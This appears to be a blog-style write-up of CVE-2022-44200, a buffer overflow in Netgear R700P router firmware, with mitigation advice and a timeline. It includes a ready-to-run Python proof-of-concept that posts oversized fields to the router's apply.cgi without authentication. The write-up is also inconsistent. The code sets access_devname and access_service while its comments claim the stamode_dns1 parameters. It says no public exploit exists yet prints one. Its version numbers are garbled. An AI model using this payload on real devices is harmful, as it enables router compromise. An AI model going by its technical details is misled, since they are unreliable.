CVE-2022-44200 - Netgear R700P V1.3..8, V1.3.1.64 - Buffer Overflow Vulnerability via Stamode_dns1_pri and Stamode_dns1_sec Parameters

A recently discovered critical vulnerability, CVE-2022-44200, affects Netgear R700P routers with firmware versions V1.3..8 and V1.3.1.64. This vulnerability could potentially allow a remote attacker to execute arbitrary code on the affected device, possibly gaining full control over the router and its network. The vulnerability is due to a buffer overflow issue within the handling of the "stamode_dns1_pri" and "stamode_dns1_sec" parameters on the router's web interface.

In this post, we will provide a detailed overview of the CVE-2022-44200 vulnerability, including its technical aspects, code snippets, and links to original references and exploit details.

Technical Details

The vulnerability exists in the web-based interface of the affected Netgear R700P routers with firmware versions V1.3..8 and V1.3.1.64. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP request containing an overly long value for the "stamode_dns1_pri" and "stamode_dns1_sec" parameters. If successfully exploited, this can result in a buffer overflow, causing the router to crash or execute arbitrary code.

The following is a Python script demonstrating the proof-of-concept exploit for this vulnerability

import requests

target_ip = "192.168.1.1" # Replace with the target router's IP address
url = f"http://{target_ip}/apply.cgi";

headers = {
  "Content-Type": "application/x-www-form-urlencoded",
  "Referer": f"http://{target_ip}/FW_access_control.htm";
}

data = {
  "submit_flag": "access_control",
  "action": "allow",
  "access_devname": "A" * 512,  # Overly long value for stamode_dns1_pri
  "access_dev": "00:90:4C:D8:A5:01",
  "access_service": "B" * 512,  # Overly long value for stamode_dns1_sec
  "access_sched": "1"
}

response = requests.post(url, headers=headers, data=data)
print("Sent exploit payload, check if the router is affected.")

Please note that the above code is for educational purposes only. Unauthorized access and exploitation of devices is a criminal offense.

The original disclosure and references for CVE-2022-44200 can be found at the following links

1. CVE-2022-44200 at MITRE
2. CVE-2022-44200 at NVD

Exploit Details

Although there is no known public exploit code available for this vulnerability, the proof-of-concept shown in the code snippet section demonstrates the potential risk of exploitation. Since the affected routers are accessible remotely and unauthenticated HTTP requests can trigger the buffer overflow, this vulnerability poses a significant risk to Netgear R700P users.

Mitigation

Netgear has acknowledged this issue and has released an updated firmware version V1.3.2.10 to address the CVE-2022-44200 vulnerability. Affected users are advised to update their routers to the latest firmware version immediately to prevent any potential exploitation. The firmware update can be downloaded from the Netgear Support Downloads page.

Conclusion

The CVE-2022-44200 buffer overflow vulnerability in Netgear R700P routers highlights the importance of security in web-based interfaces and the need for timely firmware updates. By understanding the technical details and impact of the vulnerability and following the recommended mitigation steps, users can protect their devices and networks from being exploited by potential attackers.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:35:00 UTC